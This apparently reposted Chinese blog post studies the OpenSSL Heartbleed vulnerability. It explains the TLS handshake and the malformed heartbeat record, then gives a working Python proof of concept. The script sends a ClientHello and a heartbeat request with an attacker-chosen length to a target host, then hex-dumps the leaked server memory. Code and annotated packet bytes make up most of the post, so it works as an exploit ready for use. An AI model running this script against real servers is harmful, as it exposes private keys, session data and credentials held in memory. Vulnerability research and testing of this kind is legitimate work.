zoukankan      html  css  js  c++  java
  • 心脏滴血HeartBleed漏洞研究及其POC

    一、漏洞原理:

    首先声明,我虽然能看懂C和C++的每一行代码,但是他们连在一起我就不知道什么鬼东西了。所以关于代码说理的部分只能参考其他大牛的博客了。   

    1 /*
    2 据说源码中有下面两条语句,反正我也没看过源码。
    3 */
    4 buffer = OPENSSL_malloc(1 + 2 + payload + padding);
    5 bp = buffer;

    还是据说payload这个部分其实是length的值,以上如果都是对的话(事实上以上就是对的),那么在申请内存时候压根就没有检查大小好吗?这不就可以把后面的内存内容包含进来了嘛。

    还是说回正题:

    TLS/SSL协议简介:

    过程:

    1-》客户端发送包1:ClientHello

    2《-服务器返回包1-2:ServerHello + [Certificate*、ServerKeyExchange*、CertificateRequest*]   => ServerHelloDown

    3-》客户端发送包2:[Certificate*、ClientKeyExchange*、CertificateVerify*、ChangeCipherSpec] =》Finished

    4《-服务器返回包3:[ChangeCipherSpec] => Finished

    5《--》双方交流数据

    典型的v1.2正常场景

    这是典型的攻击场景抓包v1.1漏洞版本

     由此可见:在v1.1版本中进行在收到serverhello数据包之后发送精心构造的heartbeat包进行攻击

    正常心跳包

    攻击心跳包:

    关键字节

     

    修改这个地方,就以为这修改length。返回包heartbeat Response长度就会不一致。

    也就是泄露了内存。

    18-》content-type:heartbeat(24)

    03 02 -》version

    03-》Length

    01 -》request

    60 00 就是payload了 ,你要读取的长度(一般应该是20 00)

    所以poc就可以如下:

      1 #!/usr/bin/env python
      2 # -*- coding: utf-8 -*-
      3 
      4 import sys
      5 import time
      6 import chardet
      7 import struct
      8 import socket
      9 import select
     10 
     11 def String_To_Binary(content):
     12     return content.replace(' ','').replace('
    ','').decode('hex')
     13 
     14 '''
     15 报文结构参考:http://blog.csdn.net/qq_32400847/article/details/58332946
     16 '''
     17 HelloPacket = '''
     18 16030200dc010000 d803025343 5b 909d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 
     19 cc 16 0a 85 03  90 9f 77 04 33 d4de000066c014c00ac022c0210039003800880087c00fc00
     20 500350084c012c008c01cc01b00160013c00dc003000ac013c009c01fc01e00330032009a0099004
     21 50044c00ec004002f00960041c011c007c00cc002000500040015001200090014001100080006000
     22 300ff01000049000b000403000102000a00340032000e000d0019000b000c00180009000a0016001
     23 7000800060007001400150004000500120013000100020003000f001000110023 00 00000f 00 0
     24 1 01
     25 '''    
     26 
     27 def HexDump(s):
     28     for b in xrange(0, len(s), 16):
     29         lin = [c for c in s[b: b + 16]]
     30         hxdat = ' '.join('%02X' % ord(c) for c in lin)
     31         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.') for c in lin)
     32         print ' %04x: %-48s %s' % (b, hxdat, pdat)
     33     print
     34 
     35 def RecvAll(socketobj, length, timeout=5):
     36     endtime = time.time() + timeout
     37     rdata = ''
     38     remain = length
     39     while remain > 0:
     40         rtime = endtime - time.time()
     41         if rtime < 0:
     42             return None
     43         read, wait, error = select.select([socketobj], [], [], 5)
     44         print 'read: ', read
     45         if socketobj in read:
     46             data = socketobj.recv(remain)
     47             if not data:
     48                 return None
     49             rdata += data
     50             remain -= len(data)
     51     HexDump(rdata)
     52     return rdata
     53 
     54 def RecvMsg(socketobj):
     55     hdr = RecvAll(socketobj, 5)  
     56     if hdr is None:
     57         return None, None, None
     58     type, version, length = struct.unpack('>BHH', hdr)
     59     payload = RecvAll(socketobj, length, 10)
     60     if payload is None:
     61         return None, None, None
     62     return type, version, payload
     63 
     64 def Hit_Hb(socketobj, target):
     65 # global target
     66     socketobj.send(String_To_Binary(KeyPacket))
     67     while True:
     68         print "[+] receive data..."
     69         type, version, payload = RecvMsg(socketobj)
     70         if type is None:
     71             print "[-] %s |NOTVULNERABLE" % target
     72             return False
     73 
     74         # TLSv1.1 Record Layer: EncryptedHeartbeat
     75         # Content Type: Heartbeat (24)
     76         # Version: TLS 1.1 (0x0302)
     77         # Length: 19
     78         # Encrypted Heartbeat Message
     79         if type == 24:
     80             if len(payload) > 3:
     81                 print "[*] %s |VULNERABLE" % target
     82             else:
     83                 print "[-] %s |NOTVULNERABLE" % target
     84             return True
     85 
     86         if type == 21:
     87             print "[-] %s |NOTVULNERABLE" % target
     88             return False
     89 
     90 def Do_openSSL_Test(target, port):
     91     socketobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     92     socketobj.connect((target, port))
     93     socketobj.send(String_To_Binary(HelloPacket))
     94 
     95     while True:
     96         type, version, payload = RecvMsg(socketobj)
     97         if type == None:
     98             return
     99         if type == 22 and ord(payload[0]) == 0x0E:
    100             break
    101     # sys.stdout.flush()
    102     print "[+] send payload: %s" % KeyPacket
    103     socketobj.send(String_To_Binary(KeyPacket))  # Malformed Packet
    104     return Hit_Hb(socketobj, target)  # ------------- *********
    105 
    106 
    107 if __name__ == '__main__':
    108     ip = sys.argv[1]
    109     port = sys.argv[2]
    110     size = sys.argv[3]
    111     KeyPacket = "180302000301%s000"%size
    112     HelloPacket = str(HelloPacket).replace("","").replace("
    ","")
    113     KeyPacket = KeyPacket.replace("","").replace("
    ","")
    114     Do_openSSL_Test(ip,int(port))

    报文结构部分如下参考http://blog.csdn.net/qq_32400847/article/details/58332946(特此鸣谢)

      1 """
      2 HelloPacket = [
      3     # TLSv1.1 Record Layer : HandshakeProtocol: Client Hello
      4     "16"  # Content Type: Handshake (22)
      5     "0302"  # Version: TLS 1.1 (0x0302)
      6     "00dc"  # Length: 220
      7     # Handshake Protocol: Client Hello
      8     "01"  # Handshake Type: Client Hello (1)
      9     "0000 d8"  # Length (216)
     10     "0302"  # Version: TLS 1.1 (0x0302)
     11     # Random
     12     "5343 5b 90"  # gmt_unix_time
     13     "9d9b 72 0b bc  0c bc 2b 92 a8 48 97 cf bd39 04 cc 16 0a 85 03  90 9f 77 04 33 d4de"  # random_bytes
     14     "00"  # Session ID Length: 0
     15     "0066"  # Cipher Suite Length: 102
     16     # Cipher Suites
     17     "c014"
     18     "c00a"
     19     "c022"
     20     "c021"
     21     "0039"
     22     "0038"
     23     "0088"
     24     "0087"
     25     "c00f"
     26     "c005"
     27     "0035"
     28     "0084"
     29     "c012"
     30     "c008"
     31     "c01c"
     32     "c01b"
     33     "0016"
     34     "0013"
     35     "c00d"
     36     "c003"
     37     "000a"
     38     "c013"
     39     "c009"
     40     "c01f"
     41     "c01e"
     42     "0033"
     43     "0032"
     44     "009a"
     45     "0099"
     46     "0045"
     47     "0044"
     48     "c00e"
     49     "c004"
     50     "002f"
     51     "0096"
     52     "0041"
     53     "c011"
     54     "c007"
     55     "c00c"
     56     "c002"
     57     "0005"
     58     "0004"
     59     "0015"
     60     "0012"
     61     "0009"
     62     "0014"
     63     "0011"
     64     "0008"
     65     "0006"
     66     "0003"
     67     "00ff"
     68     "01"  # Compression Methods
     69     # Compression Methods (1 method)
     70     "00"  # Compression Method: null
     71     "0049"  # Extension Length: 73
     72     "000b"  # Type: ec_point_formats
     73     "0004"  # Length: 4
     74     "03"  # EC point formats length: 3
     75     # Elliptic curves point formats
     76     "00"  # EC point format: uncompressed (0)
     77     "01"  # EC point format:ansix962_compressed_prime
     78     "02"  # EC point format:ansix962_compressed_char2
     79     # Extension: elliptic_curves
     80     "000a"
     81     "0034"
     82     "0032"
     83     "000e"
     84     "000d"
     85     "0019"
     86     "000b"
     87     "000c"
     88     "0018"
     89     "0009"
     90     "000a"
     91     "0016"
     92     "0017"
     93     "0008"
     94     "0006"
     95     "0007"
     96     "0014"
     97     "0015"
     98     "0004"
     99     "0005"
    100     "0012"
    101     "0013"
    102     "0001"
    103     "0002"
    104     "0003"
    105     "000f"
    106     "0010"
    107     "0011"
    108     "0023 00 00"  # Extension:SeesionTicket TLS
    109     "000f 00 01 01"  # Extension:Heartbeat
    110 ]
    111 
    112 # ---------TLSv1---[Heartbeat Request]------------
    113 KeyPacket = [
    114             # TLSv1.1 Record Layer: HeartbeatRequest
    115     "18"    # Content Type: Heartbeat (24) ----(0x18)
    116     "0302"  # Version: TLS 1.1 (0x0302)
    117     "0003"  # Heartbeat Message:
    118     "01"    # Type: Request (1) (0x01)
    119     "2000"  # Payload Length: (16384) (0x4000)
    120 ]
    121 """
  • 相关阅读:
    microsoft.extensions.logging日志组件拓展(保存文本文件)
    Winform 窗体皮肤美化_IrisSkin
    MailKit/MimeKit 发送邮件
    Winform 美化
    HTML CSS布局定位
    Newtonsoft.Json使用技巧
    Javascript 日历插件
    非靜態初始化塊與夠着函數的 執行順序
    java中堆栈的功能作用 以及區別(搜集)
    Java中数据类型相互转化
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8029947.html
Copyright © 2011-2022 走看看